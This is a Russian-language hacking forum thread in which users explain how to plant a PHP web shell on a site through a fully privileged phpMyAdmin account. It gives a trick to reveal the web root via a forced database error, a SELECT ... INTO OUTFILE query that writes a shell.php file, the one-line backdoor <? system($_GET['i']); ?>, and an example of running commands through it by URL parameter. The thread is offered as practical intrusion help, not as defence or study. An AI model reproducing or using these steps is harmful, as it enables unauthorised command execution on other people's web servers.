phpmyadmin

как там ваще можно шелку залить, если иметь аккаунт с полными привелегиями... помощи нуждаюсь ачатовцы

 

_https://forum.xakepok.org/thread115.html

 

DIMON4G, если у вас времени нет, либо просто не хотите читать - объясню вкратце. Для начала необходимо знать полный путь к корню сервера. Его можно вызвать с помощью PHP-Ошибки (для этого надо иметь доступ к файлам). Если у вас его нету - можно сделать иначе - сменить на mysql пользователе пароль - в этом случае скрипт покажет ошибку, потому что не сможет подключиться к базе данных с заданым ему логином либо паролем. После этого пароль надо поставить назад. Потом выполнить запрос:

Code:

SELECT '<?php shellcode ?>' INTO OUTFILE '/var/www/site/shell.php'

Где /var/www/site - полный путь к корню, а shell.php - сам файл. Вроде ясно объяснил...

 

SVAROG лажа со sql запросом какаято

Code:

SQL-запрос: 

CREATE TABLE 'hacker'(
'shell'TEXT
) 


Ответ MySQL:  
#1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''hacker' ('shell' TEXT)' at line 1

[JavaScript]

Code:

<?php shellcode ?>

туда нада путь на сайте указывать? http://sait/ru/shell.txt или сам пхп код?

 

в shell.php пиши <? system($_GET['i']); ?>

 

написал, там в этом файле появилась ссылка http://sait.ru/shell.txt и всё

 

пля какой нахер txt (совсем заработался сегодня моск не варит) php
потом будешь выполнять команды типа http://sait.ru/shell.php?i=uname например
если винда там стоит то ищи мануал по командной строке винды если линукс то по линуксу маны кури )

 

я говорю на самом сайте где я хочу шел залить пояляется надпись (ссылка), пхп код не загружается, напиши в аську, ппц мы тут тупить бум, просто я объяснить толком не могу я те!

 

DIMON4G, стукни мне в аську 400442244

 

[JavaScript] спс, настоящий мужиГ

 

Те, которые знают MySQL настоящие мужики)))??? Ну и логика))